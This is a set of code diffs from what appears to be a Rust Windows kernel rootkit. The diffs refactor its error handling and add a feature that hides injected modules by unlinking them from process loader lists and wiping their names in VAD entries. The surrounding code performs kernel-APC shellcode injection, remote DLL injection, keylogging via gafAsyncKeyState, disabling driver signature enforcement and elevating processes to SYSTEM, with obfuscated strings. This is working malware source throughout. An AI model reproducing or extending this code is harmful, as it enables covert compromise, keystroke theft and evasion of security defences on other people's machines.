status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
return status; return Err(status);
} }
let mut result_number = 0; let mut result_number = 0;
@@ -185,17 +161,19 @@ impl InjectionShellcode {
&mut result_number, &mut result_number,
); );
let user_apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts")) as *mut KAPC; let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts"))
if user_apc.is_null() { .map(|mem| mem.ptr as *mut KAPC)
log::error!("ExAllocatePool2 (User) Failed"); .ok_or_else(|| {
return STATUS_UNSUCCESSFUL; log::error!("PoolMemory (User) Failed");
} STATUS_UNSUCCESSFUL
})?;
let kernel_apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds")) as *mut KAPC; let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds"))
if kernel_apc.is_null() { .map(|mem| mem.ptr as *mut KAPC)
log::error!("ExAllocatePool2 (Kernel) Failed"); .ok_or_else(|| {
return STATUS_UNSUCCESSFUL; log::error!("PoolMemory (Kernel) Failed");
} STATUS_UNSUCCESSFUL
})?;
KeInitializeApc( KeInitializeApc(
kernel_apc, kernel_apc,
@@ -221,15 +199,15 @@ impl InjectionShellcode {
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) { if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
log::error!("KeInsertQueueApc (User) Failed"); log::error!("KeInsertQueueApc (User) Failed");
return STATUS_UNSUCCESSFUL; return Err(STATUS_UNSUCCESSFUL);
} }
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) { if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
log::error!("KeInsertQueueApc (Kernel) Failed"); log::error!("KeInsertQueueApc (Kernel) Failed");
return STATUS_UNSUCCESSFUL; return Err(STATUS_UNSUCCESSFUL);
} }
STATUS_SUCCESS Ok(())
} }
} }
@@ -245,24 +223,12 @@ impl InjectionDLL {
/// # Return /// # Return
/// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - `NTSTATUS`: A status code indicating success or failure of the operation.
/// ///
pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> NTSTATUS { pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
let pid = (*target).pid; let pid = (*target).pid;
let path = (*target).path.as_bytes(); let path = (*target).path.as_bytes();
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx")).ok_or(STATUS_UNSUCCESSFUL)?;
let zw_thread_addr = match find_zw_function(obfstr!("NtCreateThreadEx")) { let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")).ok_or(STATUS_UNSUCCESSFUL)?;
Some(addr) => addr as *mut c_void, let target_eprocess = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
None => return STATUS_UNSUCCESSFUL
};
let function_address = match get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA")) {
Some(addr) => addr,
None => return STATUS_UNSUCCESSFUL
};
let target_eprocess = match Process::new(pid) {
Some(e_process) => e_process,
None => return STATUS_UNSUCCESSFUL,
};
let mut h_process: HANDLE = null_mut(); let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
@@ -273,16 +239,17 @@ impl InjectionDLL {
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwOpenProcess Failed With Status: {status}"); log::error!("ZwOpenProcess Failed With Status: {status}");
return status; return Err(status);
} }
let h_process = Handle::new(h_process);
let mut base_address = null_mut(); let mut base_address = null_mut();
let mut region_size = (path.len() * size_of::<u16>()) as u64; let mut region_size = (path.len() * size_of::<u16>()) as u64;
status = ZwAllocateVirtualMemory(h_process, &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwAllocateVirtualMemory Failed With Status: {status}"); log::error!("ZwAllocateVirtualMemory Failed With Status: {status}");
ZwClose(h_process); return Err(status);
return status;
} }
let mut result_number = 0; let mut result_number = 0;
@@ -297,11 +264,10 @@ impl InjectionDLL {
); );
let mut old_protect = 0; let mut old_protect = 0;
status = ZwProtectVirtualMemory(h_process, &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwProtectVirtualMemory Failed With Status: {status}"); log::error!("ZwProtectVirtualMemory Failed With Status: {status}");
ZwClose(h_process); return Err(status);
return status;
} }
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
@@ -311,7 +277,7 @@ impl InjectionDLL {
&mut h_thread, &mut h_thread,
THREAD_ALL_ACCESS, THREAD_ALL_ACCESS,
&mut obj_attr, &mut obj_attr,
h_process, h_process.get(),
transmute(function_address), transmute(function_address),
base_address, base_address,
0, 0,
@@ -322,13 +288,11 @@ impl InjectionDLL {
); );
if !NT_SUCCESS(status) { if !NT_SUCCESS(status) {
log::error!("ZwCreateThreadEx Failed With Status: {status}"); log::error!("ZwCreateThreadEx Failed With Status: {status}");
ZwClose(h_process); return Err(status);
return status;
} }
ZwClose(h_process);
ZwClose(h_thread); ZwClose(h_thread);
STATUS_SUCCESS Ok(())
} }
} }

View File

@@ -171,13 +171,12 @@ pub unsafe extern "system" fn shadow_entry(
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation; let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
let status;
if let Some(handler) = IOCTL_MAP.get(&control_code) { let status = if let Some(handler) = IOCTL_MAP.get(&control_code) {
status = handler(irp, stack); handler(irp, stack)
} else { } else {
status = STATUS_INVALID_DEVICE_REQUEST; STATUS_INVALID_DEVICE_REQUEST
} };
(*irp).IoStatus.__bindgen_anon_1.Status = status; (*irp).IoStatus.__bindgen_anon_1.Status = status;
IofCompleteRequest(irp, IO_NO_INCREMENT as i8); IofCompleteRequest(irp, IO_NO_INCREMENT as i8);

View File

@@ -1,10 +1,11 @@
use { use {
alloc::boxed::Box,
hashbrown::HashMap,
wdk_sys::{IO_STACK_LOCATION, IRP},
super::keylogger::set_keylogger_state, super::keylogger::set_keylogger_state,
crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler}, crate::{driver::Driver, handle_driver, utils::ioctls::IoctlHandler},
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER}, structs::{Keylogger, DSE}}, alloc::boxed::Box,
hashbrown::HashMap,
shared::{ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER},
structs::{Keylogger, DSE}},
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
}; };
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) { pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
@@ -12,9 +13,15 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Responsible for enabling/disabling DSE. // Responsible for enabling/disabling DSE.
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENABLE_DSE"); log::info!("Received IOCTL_ENABLE_DSE");
let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) }; let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
unsafe { (*irp).IoStatus.Information = 0 }; unsafe { (*irp).IoStatus.Information = 0 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
// Start / Stop Keylogger // Start / Stop Keylogger

View File

@@ -8,7 +8,7 @@ use {
get_ks_byte, get_ks_down_bit, get_ks_byte, get_ks_down_bit,
includes::MmCopyVirtualMemory, includes::MmCopyVirtualMemory,
is_key_down, set_key_down, is_key_down, set_key_down,
utils::{get_address_asynckey, get_module_base_address, get_process_by_name}, utils::{address::{get_address_asynckey, get_module_base_address}, get_process_by_name},
}, },
wdk_sys::{ wdk_sys::{
ntddk::{ ntddk::{
@@ -172,20 +172,10 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
return None; return None;
} }
let winlogon_eprocess = match WINLOGON_EPROCESS.as_ref() { let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?;
Some(p) => p,
None => return None
};
let module_address = match get_module_base_address(obfstr!("win32kbase.sys")) {
Some(addr) => addr,
None => return None
};
let function_address = match get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address) {
Some(addr) => addr,
None => return None,
};
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200); let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200);
KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state); KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state);
@@ -203,7 +193,6 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
let new_base = function_address.cast::<u8>().offset((position + 4) as isize); let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize); let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
log::info!("gafAsyncKeyState address: {:?}", gaf_async_key_state);
KeUnstackDetachProcess(&mut apc_state); KeUnstackDetachProcess(&mut apc_state);
@@ -225,5 +214,6 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
/// ///
pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS { pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS {
STATUS = (*info).enable; STATUS = (*info).enable;
STATUS_SUCCESS STATUS_SUCCESS
} }

View File

@@ -1,17 +1,39 @@
use { use {
alloc::boxed::Box, alloc::boxed::Box,
hashbrown::HashMap, hashbrown::HashMap,
shared::{ioctls::IOCTL_ENUMERATE_MODULE, structs::{ModuleInfo, TargetProcess}}, shared::{ioctls::{IOCTL_ENUMERATE_MODULE, IOCTL_HIDE_MODULE}, structs::{ModuleInfo, TargetProcess, TargetModule}},
wdk_sys::{IO_STACK_LOCATION, IRP}, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
crate::{handle_module, module::Module, utils::ioctls::IoctlHandler}, crate::{handle_module, module::Module, utils::ioctls::IoctlHandler},
}; };
pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) { pub fn get_module_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Enumerate Modules
ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_MODULE"); log::info!("Received IOCTL_ENUMERATE_MODULE");
let mut information = 0; let mut information = 0;
let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) }; let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
unsafe { (*irp).IoStatus.Information = information as u64 }; unsafe { (*irp).IoStatus.Information = information as u64 };
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler);
// Hide Modules
ioctls.insert(IOCTL_HIDE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_HIDE_MODULE");
let status = unsafe { handle_module!(stack, Module::hide_module, TargetModule) };
unsafe { (*irp).IoStatus.Information = 0};
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
} }

View File

@@ -1,63 +1,73 @@
extern crate alloc;
use { use {
crate::{includes::{PsGetProcessPeb, MmCopyVirtualMemory}, process::Process}, crate::{
includes::{
structs::MMVAD_SHORT, vad::MMVAD,
MmCopyVirtualMemory, PsGetProcessPeb
},
process::Process, utils::pool::PoolMemory
},
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB}, ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
shared::structs::{ModuleInfo, TargetProcess}, shared::structs::{ModuleInfo, TargetProcess, TargetModule},
wdk_sys::{ wdk_sys::{
ntddk::{ ntddk::{
ExAllocatePool2, ExFreePool, IoGetCurrentProcess, KeStackAttachProcess, IoGetCurrentProcess, KeStackAttachProcess,
KeUnstackDetachProcess, KeUnstackDetachProcess,
}, },
KAPC_STATE, NTSTATUS, STATUS_INVALID_PARAMETER, FILE_OBJECT, KAPC_STATE, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE,
STATUS_SUCCESS, STATUS_UNSUCCESSFUL, _MODE::KernelMode, POOL_FLAG_NON_PAGED STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
_MODE::KernelMode
}, },
winapi::shared::ntdef::LIST_ENTRY winapi::shared::ntdef::LIST_ENTRY
}; };
pub mod ioctls; pub mod ioctls;
pub mod vad;
/// Represents a module in the operating system. /// Represents a module in the operating system.
pub struct Module; pub struct Module;
impl Module { impl Module {
/// VAD Type for an image map.
const VAD_IMAGE_MAP: u32 = 2;
/// Enumerates modules in a given target process. /// Enumerates modules in a given target process.
/// ///
/// # Parameters /// # Parameters
/// - `process`: A pointer to the target process (`*mut TargetProcess`) to enumerate modules from. /// - `process`: A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
/// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the modules. /// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
/// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration. /// - `information`: A mutable reference to a `usize` that will store additional information about the module enumeration.
/// ///
/// # Returns /// # Returns
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status. /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status.
/// ///
pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> NTSTATUS { pub unsafe fn enumerate_module(process: *mut TargetProcess, module_info: *mut ModuleInfo, information: &mut usize) -> Result<(), NTSTATUS> {
log::info!("Starting module enumeration"); log::info!("Starting module enumeration");
let pid = (*process).pid; let pid = (*process).pid;
let mut apc_state: KAPC_STATE = core::mem::zeroed(); let mut apc_state: KAPC_STATE = core::mem::zeroed();
let temp_info_size = 256 * core::mem::size_of::<ModuleInfo>(); let temp_info_size = 256 * core::mem::size_of::<ModuleInfo>();
let temp_info = ExAllocatePool2(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd")) as *mut ModuleInfo;
if temp_info.is_null() { // Allocates memory for temporarily storing module information
log::error!("ExAllocatePool2 Failed to Allocate Memory"); let temp_info = PoolMemory::new(POOL_FLAG_NON_PAGED, temp_info_size as u64, u32::from_be_bytes(*b"btrd"))
return STATUS_UNSUCCESSFUL .map(|mem| mem.ptr as *mut ModuleInfo)
} .ok_or_else(|| {
log::error!("PoolMemory (Module) Failed");
let target = match Process::new(pid) { STATUS_UNSUCCESSFUL
Some(p) => p, })?;
None => return STATUS_UNSUCCESSFUL,
};
// Attaches the target process to the current context
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
KeStackAttachProcess(target.e_process, &mut apc_state); KeStackAttachProcess(target.e_process, &mut apc_state);
// Gets the PEB (Process Environment Block) of the target process
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
if target_peb.is_null() || (*target_peb).Ldr.is_null() { if target_peb.is_null() || (*target_peb).Ldr.is_null() {
KeUnstackDetachProcess(&mut apc_state); KeUnstackDetachProcess(&mut apc_state);
ExFreePool(temp_info as _); return Err(STATUS_INVALID_PARAMETER);
return STATUS_INVALID_PARAMETER;
} }
// Enumerates the loaded modules from the InLoadOrderModuleList
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
let mut count = 0; let mut count = 0;
@@ -66,37 +76,28 @@ impl Module {
if next.is_null() { if next.is_null() {
log::error!("Next LIST_ENTRY is null"); log::error!("Next LIST_ENTRY is null");
KeUnstackDetachProcess(&mut apc_state); KeUnstackDetachProcess(&mut apc_state);
ExFreePool(temp_info as _); return Err(STATUS_UNSUCCESSFUL);
return STATUS_UNSUCCESSFUL;
} }
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
if list_entry.is_null() { if list_entry.is_null() {
log::error!("LDR_DATA_TABLE_ENTRY is null"); log::error!("LDR_DATA_TABLE_ENTRY is null");
KeUnstackDetachProcess(&mut apc_state); KeUnstackDetachProcess(&mut apc_state);
ExFreePool(temp_info as _); return Err(STATUS_UNSUCCESSFUL);
return STATUS_UNSUCCESSFUL;
} }
let buffer = core::slice::from_raw_parts( // Retrieves the full module name
(*list_entry).FullDllName.Buffer, let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
((*list_entry).FullDllName.Length / 2) as usize,
);
if buffer.is_empty() { if buffer.is_empty() {
log::error!("Buffer for module name is empty"); log::error!("Buffer for module name is empty");
KeUnstackDetachProcess(&mut apc_state); KeUnstackDetachProcess(&mut apc_state);
ExFreePool(temp_info as _); return Err(STATUS_UNSUCCESSFUL);
return STATUS_UNSUCCESSFUL;
} }
// Module name // Populates the `ModuleInfo` structure with name, address, and index
let name = &mut (*temp_info.offset(count)).name.as_mut(); let name = &mut (*temp_info.offset(count)).name.as_mut();
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
// Module address
(*temp_info.offset(count)).address = (*list_entry).DllBase as usize; (*temp_info.offset(count)).address = (*list_entry).DllBase as usize;
// Module index
(*temp_info.offset(count)).index = count as u8; (*temp_info.offset(count)).index = count as u8;
count += 1; count += 1;
@@ -104,8 +105,10 @@ impl Module {
next = (*next).Flink; next = (*next).Flink;
} }
// Detaches the target process
KeUnstackDetachProcess(&mut apc_state); KeUnstackDetachProcess(&mut apc_state);
// Copies module information to the caller's space
let size_to_copy = count as usize * core::mem::size_of::<ModuleInfo>(); let size_to_copy = count as usize * core::mem::size_of::<ModuleInfo>();
let mut return_size = 0; let mut return_size = 0;
MmCopyVirtualMemory( MmCopyVirtualMemory(
@@ -118,10 +121,160 @@ impl Module {
&mut return_size, &mut return_size,
); );
ExFreePool(temp_info as _);
*information = count as usize * core::mem::size_of::<ModuleInfo>(); *information = count as usize * core::mem::size_of::<ModuleInfo>();
STATUS_SUCCESS Ok(())
} }
/// Hides a module in a target process by removing its entries from the module list.
///
/// # Parameters
/// - `target`: A pointer to a `TargetModule` structure containing information about the module to be hidden.
///
/// # Returns
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module is successfully hidden, otherwise returns an appropriate error status.
///
pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> {
let pid = (*target).pid;
let module_name = &(*target).module_name.to_lowercase();
let mut apc_state: KAPC_STATE = core::mem::zeroed();
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
KeStackAttachProcess(target.e_process, &mut apc_state);
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
KeUnstackDetachProcess(&mut apc_state);
return Err(STATUS_INVALID_PARAMETER);
}
let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY;
let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink;
let mut address = core::ptr::null_mut();
while next != current {
if next.is_null() {
log::error!("Next LIST_ENTRY is null");
KeUnstackDetachProcess(&mut apc_state);
return Err(STATUS_UNSUCCESSFUL);
}
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
if list_entry.is_null() {
log::error!("LDR_DATA_TABLE_ENTRY is null");
KeUnstackDetachProcess(&mut apc_state);
return Err(STATUS_UNSUCCESSFUL);
}
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
if buffer.is_empty() {
log::error!("Buffer for module name is empty");
KeUnstackDetachProcess(&mut apc_state);
return Err(STATUS_UNSUCCESSFUL);
}
let dll_name = alloc::string::String::from_utf16_lossy(&buffer);
if module_name.contains(&dll_name.to_lowercase()) {
// Removes the module from the load order list
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
Self::remove_link(&mut (*list_entry).InMemoryOrderLinks);
Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks);
Self::remove_link(&mut (*list_entry).HashLinks);
address = (*list_entry).DllBase;
break;
}
next = (*next).Flink;
}
// Detaches the target process
KeUnstackDetachProcess(&mut apc_state);
if !address.is_null() {
Self::hide_vad(address as u64, target);
}
Ok(())
}
/// Hides a VAD (Virtual Address Descriptor) in the target process.
///
/// # Parameters
/// - `target_address`: The address of the module to hide.
/// - `target_eprocess`: The target process structure.
///
/// # Returns
/// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status.
///
pub unsafe fn hide_vad(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> {
let vad_root = 0x7d8;
let vad_table = target_eprocess.e_process.cast::<u8>().offset(vad_root) as *mut RTL_BALANCED_NODE;
let current_node = vad_table;
// Uses a stack to iteratively traverse the tree
let mut stack = alloc::vec![vad_table];
while let Some(current_node) = stack.pop() {
if current_node.is_null() {
continue;
}
// Converts the current node to an MMVAD_SHORT
let vad_short = current_node as *mut MMVAD_SHORT;
// Calculates start and end addresses
let mut start_address = (*vad_short).starting_vpn as u64;
let mut end_address = (*vad_short).ending_vpn as u64;
// Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address
start_address |= ((*vad_short).starting_vpn_high as u64) << 32;
end_address |= ((*vad_short).ending_vpn_high as u64) << 32;
// Multiply the addresses by 0x1000 (page size) to get the real addresses
let start_address = start_address * 0x1000;
let end_address = end_address * 0x1000;
if (*vad_short).u.vad_flags.vad_type() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address {
let long_node = vad_short as *mut MMVAD;
let subsection = (*long_node).subsection;
if subsection.is_null() || (*subsection).control_area.is_null() || (*(*subsection).control_area).file_pointer.inner.object.is_null() {
return Err(STATUS_INVALID_ADDRESS);
}
let file_object = ((*(*subsection).control_area).file_pointer.inner.value & !0xF) as *const FILE_OBJECT;
let file_name = core::slice::from_raw_parts((*file_object).FileName.Buffer, ((*file_object).FileName.Length / 2) as usize);
core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize);
break;
}
// Stack the right node (if there is one)
if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() {
stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right);
}
// Stack the left node (if there is one)
if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() {
stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left);
}
}
Ok(())
}
/// Removes a link from the list.
///
/// # Parameters
/// - `list`: A mutable reference to the `LIST_ENTRY` structure to unlink.
///
unsafe fn remove_link(list: &mut LIST_ENTRY) {
let next = list.Flink;
let previous = list.Blink;
(*next).Blink = previous;
(*previous).Flink = next;
list.Flink = list;
list.Blink = list;
}
} }

View File

@@ -1,13 +1,13 @@
#![cfg(not(feature = "mapper"))] #![cfg(not(feature = "mapper"))]
use { use {
alloc::vec::Vec,
core::ffi::c_void, core::ffi::c_void,
spin::{Mutex, lazy::Lazy}, spin::{Mutex, lazy::Lazy},
alloc::vec::Vec,
shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS}, shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS},
winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ}, winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ},
wdk_sys::{ wdk_sys::{
ntddk::PsGetProcessId, PVOID, ntddk::PsGetProcessId,
_OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS}, _OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS},
NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS, NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS,
PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL, PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
@@ -16,7 +16,7 @@ use {
}; };
/// Handle for the process callback registration. /// Handle for the process callback registration.
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: PVOID = core::ptr::null_mut(); pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut();
/// List of target PIDs protected by a mutex. /// List of target PIDs protected by a mutex.
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS))); static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS)));

View File

@@ -5,10 +5,11 @@ use {
shared::{ shared::{
ioctls::*, ioctls::*,
structs::{ structs::{
EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess EnumerateInfoInput, ProcessInfoHide, ProcessListInfo,
ProcessSignature, TargetProcess
} }
}, },
wdk_sys::{IO_STACK_LOCATION, IRP}, wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
crate::{handle_process, process::Process, utils::ioctls::IoctlHandler}, crate::{handle_process, process::Process, utils::ioctls::IoctlHandler},
}; };
@@ -23,9 +24,15 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Elevates the specified process to system privileges. // Elevates the specified process to system privileges.
ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ELEVATE_PROCESS"); log::info!("Received IOCTL_ELEVATE_PROCESS");
let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) }; let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) };
unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; } unsafe { (*irp).IoStatus.Information = size_of::<TargetProcess>() as u64; }
status
match status {
Ok(_) => STATUS_SUCCESS,
Err(err_code) => err_code
}
}) as IoctlHandler); }) as IoctlHandler);
// Hide / Unhide the specified process. // Hide / Unhide the specified process.
@@ -39,17 +46,26 @@ pub fn get_process_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
// Terminate process. // Terminate process.
